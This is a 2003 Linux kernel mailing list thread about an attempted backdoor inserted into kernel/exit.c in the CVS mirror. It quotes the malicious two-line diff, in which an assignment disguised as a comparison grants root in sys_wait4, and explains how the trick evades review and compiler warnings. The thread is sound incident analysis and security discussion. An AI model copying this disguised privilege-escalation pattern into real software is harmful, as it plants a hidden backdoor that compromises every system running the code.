Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked
at the machine and it looked like someone may have been trying to break in and
do it.
We've fixed the file in question, the conversion is done back here at BitMover
and after we transfer the files we check them and make sure they are OK and
this file got flagged.
The CVS tree is fine, you might want to remove and update exit.c to make sure
you have the current version in your tree however.
The problem file is kernel/exit.c which has a few extra entries like so:
revision 1.121
date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0
Oops, I worked on the the wrong file, fixed again.
----------------------------
revision 1.120
date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58
*** empty log message ***
----------------------------
revision 1.119
date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0
*** empty log message ***
----------------------------
revision 1.118
date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5
Fix ZOMBIE race with self-reaping threads.
exit_notify() used to leave a window open when a thread
died that made the thread visible as a ZOMBIE even though
the thread reaped itself. This closes that window by marking
the thread DEAD within the tasklist_lock.
(Logical change 1.14141)
----------------------------
Notice how the top 3 do not have the (Logical change X.YZ) at the end?
That is a pointer so you can figure out the changeset boundaries and
it is added back here during the conversion process. The file here is
fine which leads me to believe that someone modified the file either on
kernel.bkbits.net or managed to get in through the pserver. Dave swears
up and down that it wasn't him so if anyone can step forward and claim
responsibility that would be nice.
It's not a big deal, we catch stuff like this, but it's annoying to the
CVS users.
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
Out of curiosity, what were the changed lines?
Matt
On Wed, Nov 05, 2003 at 12:45:22PM -0800, Larry McVoy wrote:
> Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked
> at the machine and it looked like someone may have been trying to break in and
> do it.
>
> We've fixed the file in question, the conversion is done back here at BitMover
> and after we transfer the files we check them and make sure they are OK and
> this file got flagged.
>
> The CVS tree is fine, you might want to remove and update exit.c to make sure
> you have the current version in your tree however.
>
> The problem file is kernel/exit.c which has a few extra entries like so:
>
> revision 1.121
> date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0
> Oops, I worked on the the wrong file, fixed again.
> ----------------------------
> revision 1.120
> date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58
> *** empty log message ***
> ----------------------------
> revision 1.119
> date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0
> *** empty log message ***
> ----------------------------
> revision 1.118
> date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5
> Fix ZOMBIE race with self-reaping threads.
>
> exit_notify() used to leave a window open when a thread
> died that made the thread visible as a ZOMBIE even though
> the thread reaped itself. This closes that window by marking
> the thread DEAD within the tasklist_lock.
>
> (Logical change 1.14141)
> ----------------------------
>
> Notice how the top 3 do not have the (Logical change X.YZ) at the end?
> That is a pointer so you can figure out the changeset boundaries and
> it is added back here during the conversion process. The file here is
> fine which leads me to believe that someone modified the file either on
> kernel.bkbits.net or managed to get in through the pserver. Dave swears
> up and down that it wasn't him so if anyone can step forward and claim
> responsibility that would be nice.
>
> It's not a big deal, we catch stuff like this, but it's annoying to the
> CVS users.
> --
> ---
> Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
> -
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to [email protected]
> More majordomo info at http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at http://www.tux.org/lkml/
--
Matthew Dharm Home: [email protected]
Maintainer, Linux USB Mass Storage Driver
Oh great modem, why hast thou forsaken me?
-- Dust Puppy
User Friendly, 3/2/1998
On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> Out of curiosity, what were the changed lines?
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
On Wed, 5 Nov 2003, Larry McVoy wrote:
> On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> > Out of curiosity, what were the changed lines?
>
> --- GOOD 2003-11-05 13:46:44.000000000 -0800
> +++ BAD 2003-11-05 13:46:53.000000000 -0800
> @@ -1111,6 +1111,8 @@
> schedule();
> goto repeat;
> }
> + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> + retval = -EINVAL;
That looks odd
On Wed, Nov 05, 2003 at 05:33:40PM -0500, Zwane Mwaikambo wrote:
> On Wed, 5 Nov 2003, Larry McVoy wrote:
>
> > On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> > > Out of curiosity, what were the changed lines?
> >
> > --- GOOD 2003-11-05 13:46:44.000000000 -0800
> > +++ BAD 2003-11-05 13:46:53.000000000 -0800
> > @@ -1111,6 +1111,8 @@
> > schedule();
> > goto repeat;
> > }
> > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > + retval = -EINVAL;
>
> That looks odd
Not if you hope to get root.
On Wed, 5 Nov 2003, Chad Kitching wrote:
> From: Zwane Mwaikambo
> > > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > > + retval = -EINVAL;
> >
> > That looks odd
> >
>
> Setting current->uid to zero when options __WCLONE and __WALL are set? The
> retval is dead code because of the next line, but it looks like an attempt
> to backdoor the kernel, does it not?
Yes, i was more meaning to say 'that looks like fun', good times, good
times.
From: Zwane Mwaikambo
> > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > + retval = -EINVAL;
>
> That looks odd
>
Setting current->uid to zero when options __WCLONE and __WALL are set? The
retval is dead code because of the next line, but it looks like an attempt
to backdoor the kernel, does it not?
On Wed, Nov 05, 2003 at 04:48:09PM -0600, Chad Kitching wrote:
> From: Zwane Mwaikambo
> > > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > > + retval = -EINVAL;
> >
> > That looks odd
> >
>
> Setting current->uid to zero when options __WCLONE and __WALL are set? The
> retval is dead code because of the next line, but it looks like an attempt
> to backdoor the kernel, does it not?
It sure does. Note "current->uid = 0", not "current->uid == 0".
Good eyes, I missed that. This function is sys_wait4() so by passing in
__WCLONE|__WALL you are root. How nice.
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
On Nov-05 2003, Wed, 15:03 -0800
Larry McVoy <[email protected]> wrote:
> > > > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > > > + retval = -EINVAL;
> > >
> > > That looks odd
> >
> > Setting current->uid to zero when options __WCLONE and __WALL are set? The
> > retval is dead code because of the next line, but it looks like an attempt
> > to backdoor the kernel, does it not?
>
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.
Also note the extra parentheses to avoid a gcc warning.
--
Tomas Szepe <[email protected]>
On Nov-05 2003, Wed, 15:03 -0800
Larry McVoy <[email protected]> wrote:
> > > > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > > > + retval = -EINVAL;
> > >
> > > That looks odd
> >
> > Setting current->uid to zero when options __WCLONE and __WALL are set?
> > The retval is dead code because of the next line, but it looks like an
> > attempt to backdoor the kernel, does it not?
>
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.
First of all, thanks Larry for detecting this. Your paranoia that made
you add extra checks on the export of data (also evident in the BK
checksums everywhere) probably saved Linux as a whole a lot of grief.
Had something like this been submarined into the kernel without any
review it might have taken a good while to find, even though it wasn't
in the BK repository itself. Are the incremental kernel patches on
kernel.org or anything else built from the BKCVS gateway?
Granted that this was not a break in BK itself the event is still alarming.
It makes me wonder if there is some way we can start using GPG signatures
with BK itself so that you can get proof-positive that a CSET annotated
as from davem really is from the David Miller we know and trust.
Cheers, Andreas
--
Andreas Dilger
http://sourceforge.net/projects/ext2resize/
http://www-mddsp.enel.ucalgary.ca/People/adilger/
On Wed, 5 Nov 2003, Andreas Dilger wrote:
>
> Granted that this was not a break in BK itself the event is still alarming.
> It makes me wonder if there is some way we can start using GPG signatures
> with BK itself so that you can get proof-positive that a CSET annotated
> as from davem really is from the David Miller we know and trust.
A few things do make the current system _fairly_ secure. One of them is
that if somebody were to actually access the BK trees directly, that would
be noticed immediately: when I push to the places I export from, the push
itself would fail due to having an unexpected changeset in the target that
I don't have on my local tree. So I'd notice that kind of stuff
immediately.
And that's likely to be true of all other BK users too: the public trees
are just replicas of the trees people actually _work_ on, so if the public
tree has something unexpected, trying to update them just won't work. You
just can't push to a tree that isn't a subset of what you already have.
So any BK corruption would have to come from the private trees, not the
public ones. Which tend to be better secured, exactly because they are
private (ie they don't have things like cvspserver etc public servers). I
suspect most of us have firewalls that just don't accept any incoming
connections - I know I do.
I think it's telling that it was the CVS tree and not the BK tree that
somebody tried to corrupt.
Linus
On Wed, Nov 05, 2003 at 06:57:13PM -0700, Andreas Dilger wrote:
> First of all, thanks Larry for detecting this. Your paranoia that made
> you add extra checks on the export of data (also evident in the BK
> checksums everywhere) probably saved Linux as a whole a lot of grief.
Thanks for noticing that, it makes the extra work worth it, it really does.
For those of you wondering what this is about, the way the export works is:
a) get a BK tree on an internal BitMover machine
b) export that to a CVS tree on an internal BitMover machine
c) copy the updated files to kernel.bkbits.net's CVS tree
d) checksum the tree on kernel.bkbits.net and here and compare them
All of this is done out of cron with mail sent if there is a problem,
which is what caught this difference. If we weren't trained to trust
noone then this problem would have gone unnoticed and the CVS users could
have sent in a patch that included this trojan horse and compromised
Linux.
It's worth mentioning that it would be close to impossible to add the
same to change to BK unnoticed. It's possible but the accountability
would be a lot better and the bad user could be tarred and feathered.
> Had something like this been submarined into the kernel without any
> review it might have taken a good while to find, even though it wasn't
> in the BK repository itself. Are the incremental kernel patches on
> kernel.org or anything else built from the BKCVS gateway?
It's possible but I doubt it. I've verified 30 seconds ago that the
change is not in in Linus' BK tree. We run these comparisons every night
(and I'm going to increase that after we reinstall the machine). So I
noticed this this morning and had the tree fixed this afternoon; I suppose
people could complain that it should have been sooner but I was running
tests to make sure it was not some problem in the BK2CVS exporter code.
Even with the delay, the problem was identified and corrected in less
than 24 hours. That doesn't leave a lot of time to have the problem
get into the real release tree.
> Granted that this was not a break in BK itself the event is still alarming.
> It makes me wonder if there is some way we can start using GPG signatures
> with BK itself so that you can get proof-positive that a CSET annotated
> as from davem really is from the David Miller we know and trust.
I couldn't agree more, we've thought about this and have a design,
but credit where credit is due, Ted T'so is the driving force behind
this idea. He and I have had long discussions about this and we have a
plan to do exactly that in BK. I've already told Linus that we can add
that to BK, and will, in the free version, so that you can at least be
assured that all the stuff in BK is either flagged trusted or untrusted.
We think that is an excellent idea, we want to do it, but we were waiting
for some event to trigger it. We've been berated publicaly for each
and every change we've made to the free version of BK so now we wait
for people to ask for changes and then we'll make them. Just say the
word and we'll code this up as soon as we can.
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
Larry McVoy wrote:
> On Wed, Nov 05, 2003 at 04:48:09PM -0600, Chad Kitching wrote:
>
>>From: Zwane Mwaikambo
>>
>>>>+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
>>>>+ retval = -EINVAL;
>>>
>>>That looks odd
>>>
>>
>>Setting current->uid to zero when options __WCLONE and __WALL are set? The
>>retval is dead code because of the next line, but it looks like an attempt
>>to backdoor the kernel, does it not?
>
>
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.
In other words, the theoretical exploit was inserted by someone clever.
Do we have any idea who?
BTW, good job catching the problem Larry.
--
Scott Robert Ladd
Coyote Gulch Productions (http://www.coyotegulch.com)
Software Invention for High-Performance Computing
On Wed, Nov 05, 2003 at 11:51:34PM +0100, Andries Brouwer wrote:
> On Wed, Nov 05, 2003 at 05:33:40PM -0500, Zwane Mwaikambo wrote:
> > On Wed, 5 Nov 2003, Larry McVoy wrote:
> >
> > > On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> > > > Out of curiosity, what were the changed lines?
> > >
> > > --- GOOD 2003-11-05 13:46:44.000000000 -0800
> > > +++ BAD 2003-11-05 13:46:53.000000000 -0800
> > > @@ -1111,6 +1111,8 @@
> > > schedule();
> > > goto repeat;
> > > }
> > > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > > + retval = -EINVAL;
> >
> > That looks odd
>
> Not if you hope to get root.
You got it. Short-circuiting will make the second half of the
conditional execute only when the first half is true. So if options
equals __WCLONE|__WALL exactly, then the user is changed to root.
I believe the two flags would normally be mutually exclusive (why
would you wait on everything as well as waiting on only non-SIGCHLD?)
so having to set the strange process flags makes it look like a local
exploit.
I wonder why someone who thought they had access to the tree wouldn't
have tried to make something that worked remotely?
On Wed, Nov 05, 2003 at 11:09:24PM -0500, Scott Robert Ladd wrote:
> In other words, the theoretical exploit was inserted by someone clever.
> Do we have any idea who?
And, was there any route via which this malicious patch could've worked
itself into a kernel release?
--
http://www.PowerDNS.com Open source, database driven DNS Software
http://lartc.org Linux Advanced Routing & Traffic Control HOWTO
On Wed, 05 Nov 2003, Larry McVoy wrote:
> > Granted that this was not a break in BK itself the event is still alarming.
> > It makes me wonder if there is some way we can start using GPG signatures
> > with BK itself so that you can get proof-positive that a CSET annotated
> > as from davem really is from the David Miller we know and trust.
>
> I couldn't agree more, we've thought about this and have a design,
> but credit where credit is due, Ted T'so is the driving force behind
> this idea. He and I have had long discussions about this and we have a
> plan to do exactly that in BK. I've already told Linus that we can add
> that to BK, and will, in the free version, so that you can at least be
> assured that all the stuff in BK is either flagged trusted or untrusted.
>
> We think that is an excellent idea, we want to do it, but we were waiting
> for some event to trigger it. We've been berated publicaly for each
> and every change we've made to the free version of BK so now we wait
> for people to ask for changes and then we'll make them. Just say the
> word and we'll code this up as soon as we can.
The words "web of trust" (signing GPG keys) come to mind. Most software
that is GnuPG signed is signed with very short keys with no signature,
and GPG options such as --always-trust would be harmful here.
The advantage which is a difficulty at the same time is that the trust
level of each BK tree will then be different, depending on the local key
ring, trust settings and all that. This should be documented, to avoid
confusion.
> > >
> > > That looks odd
> >
> > Not if you hope to get root.
>
Somebody getting access to and inserting exploits directly into the linux
source is not something we should take lightly. Whilst we understand the
limits of the problem, the fact that it happened at all could get /.'d out of
all proportion and be used to seriously undermine linux's reputation
On Thu, 2003-11-06 at 11:41, Andrew Walrond wrote:
> Somebody getting access to and inserting exploits directly into the linux
> source is not something we should take lightly. Whilst we understand the
> limits of the problem, the fact that it happened at all could get /.'d out of
> all proportion and be used to seriously undermine linux's reputation
Already happened. Check slashdot.
Le jeu 06/11/2003 ? 12:41, Andrew Walrond a ?crit :
> > > >
> > > > That looks odd
> > >
> > > Not if you hope to get root.
> >
>
> Somebody getting access to and inserting exploits directly into the linux
> source is not something we should take lightly. Whilst we understand the
> limits of the problem, the fact that it happened at all could get /.'d out of
> all proportion and be used to seriously undermine linux's reputation
Eh .. way too late :)
http://slashdot.org/article.pl?sid=03/11/06/058249&mode=thread&tid=106&tid=185&threshold=4
Andrew Walrond wrote:
> Somebody getting access to and inserting exploits directly into the linux
> source is not something we should take lightly. Whilst we understand the
> limits of the problem, the fact that it happened at all could get /.'d out of
> all proportion and be used to seriously undermine linux's reputation
Well, it's hit /. and OSNews already this morning.
Mainstream media is now aware of Linux; for better or worse, someday, an
issue like this is going to leak beyond Slashdot onto the pages of the
Wall Street Journal and ZDNet. Maybe not this time -- but eventually.
Open development is the ultimate in honesty -- and honesty leaves us
vulnerable to being bitten by the ignorati and anti-freedom forces.
--
Scott Robert Ladd
Coyote Gulch Productions (http://www.coyotegulch.com)
Software Invention for High-Performance Computing
On Thu, Nov 06, 2003 at 11:06:07AM +0100, bert hubert wrote:
> On Wed, Nov 05, 2003 at 11:09:24PM -0500, Scott Robert Ladd wrote:
>
> > In other words, the theoretical exploit was inserted by someone clever.
> > Do we have any idea who?
>
> And, was there any route via which this malicious patch could've worked
> itself into a kernel release?
Not an official one, but maybe if some distribution was using the
secondary CVS repository instead of the primary BK repository.
(For people who think this is somehow a BK vs. CVS unfairness, it's
probably true --- remote's CVS's security properties are only best
described as terrifying. "CVS is not the answer. CVS is the
question. 'NO' is the answer...." :-)
To be fair, though, BK really needs to add per-changeset digital
signatures, and I've been bugging Larry about this for years. :-) And
there's a similar risk involving a subtle patch that claims to fix a
bug, but really opens up a security hole. Someone clever enough to
send a "patch" to Linus, who can forge sufficient mail headers that he
doesn't notice --- and perhaps even forge a cc to the LKML, even
though it never got sent there, might be able to sneak such a minor
change into the master sources. This is especially true if the trojan
horse gets burried in a number of other plausible changes, and had an
SMTP from field that appeared to come from a trusted kernel developer.
An argument might be made that all patches sent to Linus should be at
a minimum be GPG signed, but that assumes that Linus would be willing
to use GPG, or is willing to have his mail reader set upt to do
automatic GPG verification. One of the reasons why I think
integration with BK would be a Good Thing is that (a) it becomes
automatic, and (b) instead of it being verified only by Linus when he
receives the patch, I or anyone else can verify the digital signature
on each changeset whenever we want. This distributed verfication is
very powerful, and hopefully this points out why we badly need such a
capability.
- Ted
P.S. And once we have GPG signatures in BK, Larry could access
control lists that would only allow certain trusted key holders from
submitting changesets which modify the BK triggers script directory.
Why this is important is left as an exercise to the reader.... (And
before someone asks, CVS has the exact same vulnerability; in fact,
it's arguable that it's even worse in CVS.)
On Thu, 6 Nov 2003, Scott Robert Ladd wrote:
> Andrew Walrond wrote:
> > Somebody getting access to and inserting exploits directly into the linux
> > source is not something we should take lightly. Whilst we understand the
> > limits of the problem, the fact that it happened at all could get /.'d out of
> > all proportion and be used to seriously undermine linux's reputation
>
> Well, it's hit /. and OSNews already this morning.
>
> Mainstream media is now aware of Linux; for better or worse, someday, an
> issue like this is going to leak beyond Slashdot onto the pages of the
> Wall Street Journal and ZDNet. Maybe not this time -- but eventually.
>
> Open development is the ultimate in honesty -- and honesty leaves us
> vulnerable to being bitten by the ignorati and anti-freedom forces.
>
> --
> Scott Robert Ladd
> Coyote Gulch Productions (http://www.coyotegulch.com)
> Software Invention for High-Performance Computing
This may not really be the problem. It is well known that
anybody who has the capabilities of inserting a module into
the most secure kernel in the universe, could have designed
the module to give the current caller root privs when some
module function is executed.
$ whoami
cracker
$ od /dev/TROJAN
$ whoami
root
$
The kernel sources can be inspected using automation, looking
for accesses to 'current'. The expected patterns can be ignored.
Accesses to current->XXX,current->YYY,current->YYY, etc., could be
reviewed. However, this doesn't stop the clever programmer who
creates a pointer that, using a difficult-to-follow path, has
access to these structure members.
So, basically, any open-source kernel is vulnerable. Also any
closed-source kernel is also vulnerable. We already know that
M$ had hundreds of bugs, perhaps more, that allowed a hacker
complete unrestricted access to a machine on the network. We
also know that there are deliberate back-doors inserted to
allow governments to inspect the contents of these computers
(search on magic lantern and carnivor).
Cheers,
Dick Johnson
Penguin : Linux version 2.4.22 on an i686 machine (797.90 BogoMips).
Note 96.31% of all statistics are fiction.
On Thu, 6 Nov 2003, Theodore Ts'o wrote:
> (For people who think this is somehow a BK vs. CVS unfairness, it's
> probably true --- remote's CVS's security properties are only best
> described as terrifying.
I've heard it described as "security through nausea" ;)
--
"Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are,
by definition, not smart enough to debug it." - Brian W. Kernighan
On Thu, 6 Nov 2003, bert hubert wrote:
>
> And, was there any route via which this malicious patch could've worked
> itself into a kernel release?
No. There are two ways to get into a kernel release: patches to me by
email (which depending on the person get more or less detailed scrutiny,
but core files would definitely get a read-through and need an
explanation), and through BK merges.
And the people who merge with BK wouldn't have used the CVS tree.
Linus